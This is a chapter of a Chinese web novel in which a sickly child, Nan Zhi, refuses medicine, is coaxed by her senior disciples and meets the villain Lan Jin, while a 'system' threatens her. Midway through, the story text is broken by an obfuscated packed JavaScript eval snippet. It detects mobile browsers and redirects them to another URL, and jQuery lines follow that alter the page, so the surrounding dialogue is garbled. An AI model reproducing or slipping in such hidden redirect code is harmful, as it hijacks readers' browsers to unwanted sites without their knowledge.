姬梵沉着脸大步流星离开,身后急促追来的脚步声带着几分凌乱,“二师兄,等等。”
艾千予视线不明,通透的精神力为他描述路上一切障碍,包括青年恶劣伸出的一只脚。
他神色未变,佯装不查被绊了个跟头,头顶紧接着响起毫不掩饰的嘲笑声。
“艾千予,这么多年过去,你怎么还是这么笨。”
姬梵神色桀骜,他双手抱胸懒懒倚靠在廊前柱子上,看着少年略显笨拙的动作,眉心不自觉皱了几分,又轻嗤,“没有半点长进。”
“师兄教训的是,”艾千予跟着笑,温润的面庞没有展现半分生气。
“呵,”姬梵扫他一眼,“什么事。”
“师兄伤势还未治愈......”
“不需要你了,我现在十分怀疑你的能力,”姬梵语气一如既往轻慢,艾千予略显拘谨,肩上又传来推从力道。
“挡着道了,耽搁我找师父治伤,后果你承担得起吗。”
“师兄要找,找师父吗.......”空洞的绿眸微微瞪大。
对于兰烬,他们师兄弟几人的恐惧几乎浸透到了骨子里。
姬梵在挨了兰烬一巴掌后竟然还有胆子凑上前,艾千予不禁佩服他的勇气。
郑重道:“二师兄,保重。”
姬梵无语翻了个白眼。
白瓷碗沿沾着浓稠深暗,空气中飘来的苦味让南枝警觉,趁南卿热药的间隙,她撑着虚弱的身体,连滚带爬钻入床底。
“小南枝!”南卿只是转个身的功夫,没想到病弱的幼崽一溜烟没了影。
床底立马探出一双乌黑澄澈的眼眸盯着他,四目相撞,南卿被她逃窜的模样逗笑。
为保持威严,偏偏还得装出一副严肃的姿态,想笑不能笑,俊俏的面庞一时变得扭曲。
“乖孩子不能钻床底,出来喝药。”
南枝盯着他好似不受控制的脸,犹豫着道:“你,你要,变异了吗?”
童稚的话语仿佛一盆冷水泼在头上,南卿担心吓着她,扇了自己一巴掌强制表情管理。
“呵呵我正常着呢,不变异,枝枝别害怕奥。”
南枝:.......怎么手也控制不住了,打了自己可不能打她了哦。
她怯生生望着南卿,默默往里缩了缩身体。
南卿抓耳挠腮,“枝枝别进去了,出来出来,嘬嘬嘬。”
猝不及防被可爱的幼崽瞪了一眼,心立马碎成了渣渣。
本着不想让南枝感受到压迫,端着药碗的南卿慢慢由站变成蹲着,结果口水说干了也没能把她从床底哄出来。
少年清亮的声音硬是快夹成老嫂子,“枝枝~快出来啊~我们就闻闻,不喝药~”
“骗人。”
“不骗人,算我求你了.......”
“不。”
“不出来是吧?”在南枝视线中,南卿又由蹲改为趴着,和她一样的动作面对面相视。
南卿挑眉,南枝被他逗笑,两人一个往床底里面躲,一个伸长手往里掏。
艾千予刚进门,察觉屋内轻松的气氛眉目不觉舒展,“枝枝怎么这么高兴?”
察觉到什么,眉心再次皱起。
“南卿,你趴床前干嘛?”
“掏枝枝啊!”地上,少年修长的身体趴成一长条,伸长了胳膊往床底掏去。
南卿头也没回,“枝枝你再不出来,我就要进去抓你喽~”
影妖原型能在任何狭小缝隙通行,下一秒黑色雾气朝床底的南枝涌来。
黑沉沉的气体传来浓烈的邪气和凉意,与此同时,属于南卿熟悉的气息萦绕在身边,“抓到你了,小南枝。”
少年明媚含笑的眼在黑色气体中浮现,南枝身体放松,刚被卷出床底,扭头,乌黑的药碗立马凑到她面前。
刺激性的苦涩药味疯狂往鼻孔里钻,胃里一片翻腾。
南卿一手端药一手拿着蜜饯,还没来得及劝说,一旁脸色难看的南枝捂着嘴又开始吐。
艾千予连忙接过南枝,她委屈巴巴往他怀里钻,同时控诉看向一旁手足无措的南卿。
“你骗人,都说了不吃药。”
“讨厌药,拿远一点,呕......”南枝持续干呕,唇色苍白,脸庞却一片通红,病弱憔悴。
“好好好,南卿,快把药端走。”
“不喝了不喝了!枝枝你别吐了,”南卿风风火火把药碗放门外,又急急忙忙凑到南枝眼前。
南枝微哑的声音幻作麻绳缠紧在心间,南卿重复着“不喝药了”,猝然对上她通红的眼眶,又自言自语般说着,“可是不喝药,身体怎么好。”
“她活不过这个冬天了。”
耳边似乎出现幻听,师父曾随意判下的结局,现在只觉得无比刺耳。
.......
南枝几乎每次睡醒都会换一个地方,这次也不例外。
缠绕入梦的清冷琴音真切在耳边响起,窗边侧影清隽,紫袍层层垂落,优雅从容。
琴弦上如玉的指尖随意轻佻,只是音调愈发冷冽,“小废物,舍得醒了?”
疏淡的声音伴随琴音缓缓响起,即使是面对什么都不懂的南枝,兰烬也未曾想过收敛自己脾性。
“再晚一刻钟,我就要把你扔雪地里了。”
琴音停顿,他不紧不慢扫来一抹视线,南枝面上多了丝血色,澄澈干净的眸子与他撞上,立马扬起一抹灿烂的笑。
兰烬语调微顿,又刻薄道:“算你命大。”
幽冷的梅花淡香若有若无缠绕在鼻尖,在大反派深邃如血的目光下,南枝天真眨了眨眼。
昏睡前她脑子昏昏沉沉,一觉睡醒,身上不适感已经退散,神清气爽。
南枝爬下软榻,噔噔噔朝兰烬跑去,“嘿嘿,命,大。”
幼崽目光纯粹热切,除了恐惧,竟然还有人带着欣喜和笑跑向他,倒是一桩奇事。
兰烬淡淡拂开南枝,不让她近身,“离我远点。”
“兰.....大反.......”
【宿主,你要是透露系统任务一个字,就死定了。】
系统语气十分严肃,南枝意识比较清醒的情况下,成功被他唬住。
她无措又有些茫然,“可是刚刚,已经说了两个字了,我是不是要死了。”
【不要说话了。】
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371769|199942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你又凶我.......”
系统:.......
现实世界里,南枝撅着嘴低头,扣着手一言不发。
眼泪啪嗒啪嗒落在软榻上。
兰烬第一次养女孩,竟不知小女孩如此娇气,他推她甚至没有用力气,竟然能委屈成这样。
“行了,别哭了,”如画的眉目不耐皱起,“再哭滚出去。”
南枝抬起一双通红眼眶,“你也要凶我吗?”
兰烬垂眸,凝视她脸颊上的泪痕,
理直气壮,“我脾气不好,教训不服管教的弟子是经常的事,你要习惯。”
南枝哼哼微弱抗议,头顶传来的声音猝然冷下,“不过,就算是我身边的一条狗也只有我能打骂,轮不到别人来教训。”
血眸凌厉,“谁还欺负你了?”
“什么?”南枝懵懵看向似乎要为自己做主的大反派,低心智的脑子一时没转过来。
系统:【是我。】
【是我欺负你。】
南枝迟钝反应过来,对着系统又是一声气愤冷哼,“我不接受.......你的道歉,没诚意。”
【哦,我没说要道歉,我只是提醒你。】
“讨厌你!”
【别再和我犟嘴,大反派看你的眼神都要杀了你了。】
毫无波动的电子音都传出几分咬牙切齿意味,南枝听话抬头,在兰烬不耐烦的目光中慢慢蹭到他身边,“没有其他人,”顿了顿,略带委屈仰头,“只有你……”
“......小废物。”
兰烬居高临下看着这个频繁走神,没有半点专注力的幼崽,再一次想把她埋入雪地里。
在大反派不加掩饰的不耐烦与嫌弃中,南枝不怕死揪着他衣袖晃了晃,略有些不满道:“我,不是废物。”
“我有一个,很好听的名字,我叫南枝~”她很高兴,在妖界她的名字还叫南枝。
她心情忽的变好,咧着笑指向端坐着修长身影,眸光明亮,“我还知道,你的名字。”
“你叫作兰......兰烬!”
耳边童稚欢快的话音刚落,一道小小的身影莽莽撞撞、大胆扑进了兰烬怀里。
陌生的柔软入怀,刀光剑影下未曾颤动的心起了一丝涟漪,感受心脏莫名其妙传来的暖意,兰烬口中挤出两个字:“放肆。”
掐着南枝肉嘟嘟的小脸,他绝美的脸庞没有一丝表情,“长幼尊卑有序,没有人教过你吗。”
南枝摇摇头,她皮肤柔嫩脆弱,兰烬看向被掐出两个印子的脸上,淡声道:“从今往后由我来教导你,你最好出色听话,否则......”
在这道纯净黑眸注视下,他搂着怀里温热的身体,嘴硬的跟石头一样,不留情面,一字一句,“否则,我将杀了你。”
没有价值就该死。
【宿主如果不能成功阻止反派灭世,主神也会杀了你。】
性情阴晴不定、还未被她感化的大反派要杀她,南枝并不觉得意外,但主神爹爹也要杀她.......
兰烬威胁过后,南枝再没有跟他说过一句话,软乎乎的手指紧紧抓着他胸口衣襟,缩在怀里一言不发。